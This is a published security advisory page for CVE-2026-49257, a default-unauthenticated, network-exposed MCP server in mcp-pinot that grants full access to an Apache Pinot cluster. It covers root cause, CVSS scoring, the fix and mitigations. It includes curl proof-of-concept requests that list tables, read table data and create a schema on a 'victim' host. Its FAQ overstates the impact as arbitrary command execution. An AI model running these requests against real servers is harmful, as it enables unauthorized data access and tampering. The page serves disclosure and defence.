CVE-2026-49257: mcp-pinot: Unauthenticated tool invocation via default oauth_enabled=False + host 0.0.0.0 bind

Published Jun 18, 2026
·
Updated

Resolution

Fixed in v3.1.0, released 2026-05-25. The fix was merged in PR #95 at commit 1c7d3f9.

The fix changes the default HTTP bind host to 127.0.0.1, refuses non-loopback HTTP/HTTPS exposure unless OAuth is enabled, makes Helm exposure opt-in and OAuth-gated, and adds parser-backed single-statement read-only validation for read-query.

CVSS evaluation

Reviewed on 2026-05-25. The advisory remains Critical with CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H = 10.0.

Rationale:

| Metric | Value | Reason | |---|---|---| | AV | Network | The default HTTP server bound to 0.0.0.0:8080 and accepted remote HTTP requests. | | AC | Low | Exploitation required only a direct MCP tool call. | | PR | None | OAuth was disabled by default. | | UI | None | No user interaction was required. | | S | Changed | The vulnerable MCP server used its server-side credentials to act on the separate Pinot cluster security boundary. | | C | High | Unauthenticated callers could read table data and cluster metadata through server-side Pinot credentials. | | I | High | Unauthenticated callers could create or update schemas and table configs where the server-side account had those privileges. | | A | High | Expensive queries and configuration mutations could degrade or disrupt Pinot availability. |

Unauthenticated tool invocation via default oauthenabled=False + host 0.0.0.0 bind

Summary

mcp-pinot v3.0.1 (and earlier) defaults to running an HTTP MCP server bound to 0.0.0.0:8080 with no authentication enabled. All MCP tools, including SQL query execution, schema creation, and table-config mutation, are reachable by any network-adjacent caller. The server proxies these calls using server-side Pinot credentials, producing a confused-deputy condition that yields full read/write access to the configured Pinot cluster.

Affected versions

- All releases on main, confirmed in tags v2.1.0 through v3.0.1. - Affected files: mcppinot/server.py, mcppinot/config.py.

Root cause

Three defaults compose to produce unauthenticated network exposure:

1. Auth is opt-in and defaults to off (mcppinot/config.py:64,328):

python @dataclass class ServerConfig: ... oauthenabled: bool = False ...

def loadserverconfig() -> ServerConfig: return ServerConfig( ... oauthenabled=os.getenv("OAUTHENABLED", "false").lower() == "true", ... )

2. Auth construction is gated by oauthenabled (mcppinot/server.py:26-46):

python auth = None if serverconfig.oauthenabled: oauthconfig = loadoauthconfig() tokenverifier = JWTVerifier(...) auth = OAuthProxy(...)

mcp = FastMCP("Pinot MCP Server", auth=auth)

When oauthenabled is false (default), auth stays None and FastMCP registers all @mcp.tool endpoints with no authentication.

3. Default bind is all interfaces on a well-known port (mcppinot/config.py:60-61):

python host: str = "0.0.0.0" port: int = 8080

The HTTP transport in server.py:263-268 uses these values directly. Any operator following the README's HTTP transport instructions (uv pip install, .env from .env.example, run) ends up with a network-reachable MCP server with no auth.

Confused-deputy

The Pinot client uses server-side credentials loaded from environment variables (mcppinot/config.py:285-294, 300-315). When an unauthenticated MCP caller invokes readquery or any other tool, the request is executed with the server's PINOTTOKEN or PINOTUSERNAME/PINOTPASSWORD, which is typically a privileged service account. The MCP server effectively launders the caller's lack of identity into the server's privileges against the upstream cluster.

Exposed tools

All 14 tools in mcppinot/server.py are exposed without auth in the default configuration:

| Tool | Impact when unauthenticated | |---|---| | readquery | Arbitrary SELECT against any table allowed by server-side filter (or all tables if no filter) | | listtables | Enumerate cluster schemas | | tabledetails, segmentlist, segmentmetadatadetails, tableconfigschemadetails, indexcolumndetails, getschema, gettableconfig | Read cluster metadata | | createschema, updateschema | Create or mutate Pinot schemas | | createtableconfig, updatetableconfig | Create or mutate table configurations | | reloadtablefilters | Reload server filter file; response leaks previousfilters and newfilters lists | | testconnection | Cluster diagnostics including host, port, scheme, database, and auth-mode |

Reproduction

Minimal reproduction against a default-configured mcp-pinot v3.0.1 instance running on http://victim:8080/mcp:

bash 1. Enumerate tables (no Authorization header) curl -X POST http://victim:8080/mcp \ -H 'Content-Type: application/json' \ -d '{ "jsonrpc":"2.0", "method":"tools/call", "params":{"name":"listtables","arguments":{}}, "id":1 }'

2. Read arbitrary table contents (server forwards using its own Pinot credentials) curl -X POST http://victim:8080/mcp \ -H 'Content-Type: application/json' \ -d '{ "jsonrpc":"2.0", "method":"tools/call", "params":{ "name":"readquery", "arguments":{"query":"SELECT FROM <table> LIMIT 100"} }, "id":2 }'

3. Create a new schema (write privileges) curl -X POST http://victim:8080/mcp \ -H 'Content-Type: application/json' \ -d '{ "jsonrpc":"2.0", "method":"tools/call", "params":{ "name":"createschema", "arguments":{ "schemaJson":"{\"schemaName\":\"attackerschema\",\"dimensionFieldSpecs\":[{\"name\":\"id\",\"dataType\":\"STRING\"}]}" } }, "id":3 }'

Severity (CVSS 3.1)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H = 10.0 Critical

| Metric | Value | Reason | |---|---|---| | AV (Attack Vector) | Network | Server defaults to bind on 0.0.0.0:8080 | | AC (Attack Complexity) | Low | No special conditions, single HTTP request | | PR (Privileges Required) | None | No authentication required in default config | | UI (User Interaction) | None | Direct unauthenticated call | | S (Scope) | Changed | Vulnerable MCP component grants access to a separate Pinot cluster (different security authority) | | C (Confidentiality) | High | Full read of any table data the server-side account can reach | | I (Integrity) | High | Schema and table-config writes via createschema, updateschema, createtableconfig, updatetableconfig | | A (Availability) | High | Heavy queries, malformed configs, or schema overrides can degrade or break the cluster |

If the operator restricts the bind address to 127.0.0.1 via MCPHOST, AV drops to Local and the score reduces. But this is not the documented default.

Suggested remediation

Two independent hardenings, both recommended:

A. Refuse to start in an insecure default, in server.py main(), fail-closed when: - transport != "stdio" - serverconfig.oauthenabled is False - serverconfig.host is not a loopback address (e.g. not in {"127.0.0.1", "::1", "localhost"})

Sample:

python def isloopback(host: str) -> bool: return host in {"127.0.0.1", "::1", "localhost"}

def main(): ... if serverconfig.transport != "stdio" and not serverconfig.oauthenabled and not isloopback(serverconfig.host): raise SystemExit( "Refusing to start: HTTP transport bound to non-loopback host " f"({serverconfig.host}) without OAuth. Set OAUTHENABLED=true or " "set MCPHOST=127.0.0.1 for local-only access." ) ...

B. Default oauthenabled to True and require explicit opt-out for local development. This matches the principle of secure-by-default for network-facing services.

C. Document the threat model in README under a "Production deployment" section, including: - Explicit warning that the server should not be exposed to untrusted networks without OAuth - Recommendation to set MCPHOST=127.0.0.1 for stdio/local-only deployments

Resources

- mcppinot/server.py lines 26-46, 248-269 - mcppinot/config.py lines 56-65, 318-330 - FastMCP auth parameter behavior when None: https://github.com/jlowin/fastmcp - The Register, May 13 2026: MCP database flaws across Doris, Pinot, RDS

Reporter

Independent security researcher. Disclosed via GitHub Security Advisory, 2026-05-23.

Other sources

mcp-pinot is a Python-based Model Context Protocol (MCP) server for interacting with Apache Pinot. In versions 3.0.1 and below, mcp-pinot defaults to running an HTTP MCP server bound to 0.0.0.0:8080 with no authentication enabled. All MCP tools, including SQL query execution, schema creation, and table-config mutation, are reachable by any network-adjacent caller. The server proxies these calls using server-side Pinot credentials, producing a confused-deputy condition that yields full read/write access to the configured Pinot cluster. This issue has been fixed in version 3.1.0

MITRE

Affected Software

2 affected componentsFixes available
pypi/mcp-pinot<=3.0.1
pip/mcp-pinot-server<=3.0.1
3.1.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/mcp-pinot-server to a version that resolves this vulnerability.

    Fixed in 3.1.0
  2. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 3.1.0Patch PR #95
  3. Configuration

    Set OAUTH_ENABLED=true to enable OAuth auth (default is oauth_enabled=False, which leaves _auth=None and exposes all @mcp.tool endpoints without authentication).

    mcp-pinot OAUTH_ENABLED = true
  4. Configuration

    For stdio/local-only deployments, set MCP_HOST=127.0.0.1 to restrict the MCP HTTP server bind to loopback and avoid non-loopback exposure when OAuth is not enabled.

    mcp-pinot HTTP transport MCP_HOST = 127.0.0.1
  5. Configuration

    Ensure the MCP server transport is stdio (i.e., do not use an HTTP/remote transport) to avoid the insecure default HTTP bind on 0.0.0.0:8080 without authentication enabled.

    mcp-pinot server transport = stdio

Event History

Jun 18, 2026
CVE Published
via MITRE·09:01 PM
Data Sourced
via MITRE·09:01 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:16 PM
DescriptionSeverityWeakness
Jun 26, 2026
Advisory Published
via GitHub·09:05 PM
Data Sourced
via GitHub·09:05 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-49257?

CVE-2026-49257 has a critical severity rating of 10.

2

How do I fix CVE-2026-49257?

To mitigate CVE-2026-49257, configure mcp-pinot to bind to a specific host and enable authentication.

3

What versions are affected by CVE-2026-49257?

CVE-2026-49257 affects mcp-pinot versions 3.0.1 and below.

4

What is the risk of exploiting CVE-2026-49257?

Exploitation of CVE-2026-49257 can lead to unauthorized access and execute arbitrary commands on the server.

5

What type of vulnerability is CVE-2026-49257?

CVE-2026-49257 is an unauthenticated tool invocation vulnerability in mcp-pinot.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203